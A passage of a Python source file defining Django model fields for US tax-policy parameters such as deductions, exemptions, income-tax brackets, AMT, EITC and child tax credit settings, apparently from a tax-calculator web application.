null=True) ALD_SelfEmp_HealthIns_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_KEOGH_SEP_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_EarlyWithdraw_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_Alimony_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_Child_c = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_Child_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ALD_Dependents_Elder_c = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_Elder_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ALD_Dependents_thd_0 = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_thd_1 = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_thd_2 = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_thd_3 = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_thd_4 = CommaSeparatedField(default=None, blank=True, null=True) ALD_Dependents_thd_cpi = models.NullBooleanField(default=None, blank=True, null=True) ALD_Investment_ec_rt = CommaSeparatedField(default=None, blank=True, null=True) ALD_InvInc_ec_base_code_active = CommaSeparatedField(default=None, blank=True, null=True) ALD_InvInc_ec_rt = CommaSeparatedField(default=None, blank=True, null=True) ALD_EducatorExpenses_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_HSADeduction_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_IRAContributions_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_DomesticProduction_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_Tuition_hc = CommaSeparatedField(default=None, blank=True, null=True) DependentCredit_Child_c = CommaSeparatedField(default=None, blank=True, null=True) DependentCredit_Nonchild_c = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_0 = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_1 = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_2 = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_3 = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_4 = CommaSeparatedField(default=None, blank=True, null=True) FilerCredit_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) FEI_ec_c = CommaSeparatedField(default=None, blank=True, null=True) FEI_ec_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Personal Exemptions. II_em = CommaSeparatedField(default=None, blank=True, null=True) II_em_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_prt = CommaSeparatedField(default=None, blank=True, null=True) II_em_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) II_em_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) II_em_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) II_em_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) II_em_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Standard Deductions. STD_Dep = CommaSeparatedField(default=None, blank=True, null=True) STD_0 = CommaSeparatedField(default=None, blank=True, null=True) STD_1 = CommaSeparatedField(default=None, blank=True, null=True) STD_2 = CommaSeparatedField(default=None, blank=True, null=True) STD_3 = CommaSeparatedField(default=None, blank=True, null=True) STD_4 = CommaSeparatedField(default=None, blank=True, null=True) STD_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Personal Refundable Credit. II_credit_0 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_1 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_2 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_3 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_4 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_credit_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_credit_prt = CommaSeparatedField(default=None, blank=True, null=True) #Confirm for additional aged STD_Aged_0 = CommaSeparatedField(default=None, blank=True, null=True) STD_Aged_1 = CommaSeparatedField(default=None, blank=True, null=True) STD_Aged_2 = CommaSeparatedField(default=None, blank=True, null=True) STD_Aged_3 = CommaSeparatedField(default=None, blank=True, null=True) STD_Aged_4 = CommaSeparatedField(default=None, blank=True, null=True) STD_Aged_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Itemized Deductions. ID_Medical_frt = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_frt_add4aged = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_Medical_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_InterestPaid_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_InterestPaid_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_InterestPaid_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_InterestPaid_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_InterestPaid_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_InterestPaid_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_Casualty_frt = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_Casualty_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_Miscellaneous_frt = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_Miscellaneous_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_Charity_crt_all = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_crt_noncash = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_ps_4 = CommaSeparatedField(default=None, blank=True, null=True) ID_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_prt = CommaSeparatedField(default=None, blank=True, null=True) ID_crt = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_StateLocalTax_crt = CommaSeparatedField(default=None, blank=True, null=True) ID_StateLocalTax_crt_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_RealEstate_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_RealEstate_crt = CommaSeparatedField(default=None, blank=True, null=True) ID_RealEstate_crt_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_Charity_frt = CommaSeparatedField(default=None, blank=True, null=True) ID_Charity_hc = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_trt = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_crt = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_em_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_em_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_em_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_em_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_em_4 = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitSurtax_Switch_0 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_1 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_2 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_3 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_4 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_5 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitSurtax_Switch_6 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_rt = CommaSeparatedField(default=None, blank=True, null=True) ID_BenefitCap_Switch_0 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_1 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_2 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_3 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_4 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_5 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_BenefitCap_Switch_6 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_c_4 = CommaSeparatedField(default=None, blank=True, null=True) ID_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_AmountCap_rt = CommaSeparatedField(default=None, blank=True, null=True) ID_AmountCap_rt_cpi = models.NullBooleanField(default=None, blank=True, null=True) ID_AmountCap_Switch_0 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_1 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_2 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_3 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_4 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_5 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AmountCap_Switch_6 = models.CharField(default="True", blank=True, null=True, max_length=50) ID_AllTaxes_c_0 = CommaSeparatedField(default=None, blank=True, null=True) ID_AllTaxes_c_1 = CommaSeparatedField(default=None, blank=True, null=True) ID_AllTaxes_c_2 = CommaSeparatedField(default=None, blank=True, null=True) ID_AllTaxes_c_3 = CommaSeparatedField(default=None, blank=True, null=True) ID_AllTaxes_c_4 = CommaSeparatedField(default=None, blank=True, null=True) ID_AllTaxes_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Investment Tax Rates. CG_rt1 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_4 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk1_cpi = models.NullBooleanField(default=None, blank=True, null=True) CG_rt2 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_0 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_1 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_2 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_3 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_4 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk2_cpi = models.NullBooleanField(default=None, blank=True, null=True) CG_rt3 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_0 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_1 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_2 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_3 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_4 = CommaSeparatedField(default=None, blank=True, null=True) CG_brk3_cpi = models.NullBooleanField(default=None, blank=True, null=True) CG_rt4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_rt1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt4 = CommaSeparatedField(default=None, blank=True, null=True) CG_nodiff = CommaSeparatedField(default=None, blank=True, null=True) CG_ec = CommaSeparatedField(default=None, blank=True, null=True) CG_reinvest_ec_rt = CommaSeparatedField(default=None, blank=True, null=True) NIIT_rt = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_0 = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_1 = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_2 = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_3 = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_4 = CommaSeparatedField(default=None, blank=True, null=True) NIIT_thd_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Personal Income Tax Rate II_rt1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk1_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk2_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk3_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk4_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt5 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk5_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt6 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk6_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt7 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_0 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_1 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_2 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_3 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_4 = CommaSeparatedField(default=None, blank=True, null=True) II_brk7_cpi = models.NullBooleanField(default=None, blank=True, null=True) II_rt8 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_0 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_1 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_2 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_3 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_prt = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_4 = CommaSeparatedField(default=None, blank=True, null=True) II_credit_nr_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for the AMT. AMT_em_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_prt = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_4 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_Child_em_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_Child_em_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_Child_em_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_Child_em_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_Child_em_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_KT_c_Age = CommaSeparatedField(default=None, blank=True, null=True) AMT_rt1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_rt2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_brk1_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_thd_MarriedS_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_thd_MarriedS_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_thd_MarriedS_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_em_pe_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_pe_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_em_pe_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk1_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk2_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_0 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_1 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_2 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_3 = CommaSeparatedField(default=None, blank=True, null=True) AMT_CG_brk3_cpi = models.NullBooleanField(default=None, blank=True, null=True) AMT_CG_rt4 = CommaSeparatedField(default=None, blank=True, null=True) # Parameters used for Credits. EITC_rt_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_rt_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_rt_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_rt_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_prt_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_prt_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_prt_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_prt_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_c_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_c_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_c_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_c_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_MinEligAge = CommaSeparatedField(default=None, blank=True, null=True) EITC_MinEligAge_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_MaxEligAge = CommaSeparatedField(default=None, blank=True, null=True) EITC_MaxEligAge_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_ps_MarriedJ_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_MarriedJ_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_MarriedJ_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_MarriedJ_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_ps_MarriedJ_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_InvestIncome_c = CommaSeparatedField(default=None, blank=True, null=True) EITC_InvestIncome_c_0 = CommaSeparatedField(default=None, blank=True, null=True) EITC_InvestIncome_c_1 = CommaSeparatedField(default=None, blank=True, null=True) EITC_InvestIncome_c_2 = CommaSeparatedField(default=None, blank=True, null=True) EITC_InvestIncome_c_3 = CommaSeparatedField(default=None, blank=True, null=True) EITC_InvestIncome_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) EITC_indiv = CommaSeparatedField(default=None, blank=True, null=True) CTC_c = CommaSeparatedField(default=None, blank=True, null=True) CTC_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) CTC_prt = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_4 = CommaSeparatedField(default=None, blank=True, null=True) CTC_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) CTC_additional = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_refund_limit_rt = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_refund_limit_payroll_rt = CommaSeparatedField(default=None, blank=True, null=True) CTC_c_under5_bonus = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_rt = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_0 = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_1 = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_2 = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_3 = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_4 = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) CTC_new_prt = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_c = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_c_under5_bonus = CommaSeparatedField(default=None, blank=True, null=True) CTC_new_for_all = models.CharField(default="False", blank=True, null=True, max_length=50) DependentCredit_before_CTC = CommaSeparatedField(default=None, blank=True, null=True) ACTC_rt = CommaSeparatedField(default=None, blank=True, null=True) ACTC_ChildNum = CommaSeparatedField(default=None, blank=True, null=True) ACTC_rt_bonus_under5family = CommaSeparatedField(default=None, blank=True, null=True) ACTC_Income_thd = CommaSeparatedField(default=None, blank=True, null=True) ACTC_Income_thd_cpi = models.NullBooleanField(default=None, blank=True, null=True) DependentCredit_c = CommaSeparatedField(default=None, blank=True, null=True) LLC_Expense_c = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Single_0 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Single_1 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Single_2 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Single_cpi = models.NullBooleanField(default=None, blank=True, null=True) ETC_pe_Married_0 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Married_1 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Married_2 = CommaSeparatedField(default=None, blank=True, null=True) ETC_pe_Married_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Child and dependent care phaseout CDCC_c = CommaSeparatedField(default=None, blank=True, null=True) CDCC_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) CDCC_ps = CommaSeparatedField(default=None, blank=True, null=True) CDCC_ps_cpi = models.NullBooleanField(default=None, blank=True, null=True) CDCC_crt = CommaSeparatedField(default=None, blank=True, null=True) CDCC_crt_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Pass through tax parameters PT_rt1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk1_cpi = 